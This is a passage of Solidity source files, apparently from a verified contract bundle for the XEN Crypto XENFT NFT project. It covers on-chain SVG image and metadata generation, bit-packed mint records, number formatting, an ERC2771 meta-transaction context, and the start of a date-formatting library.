0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n 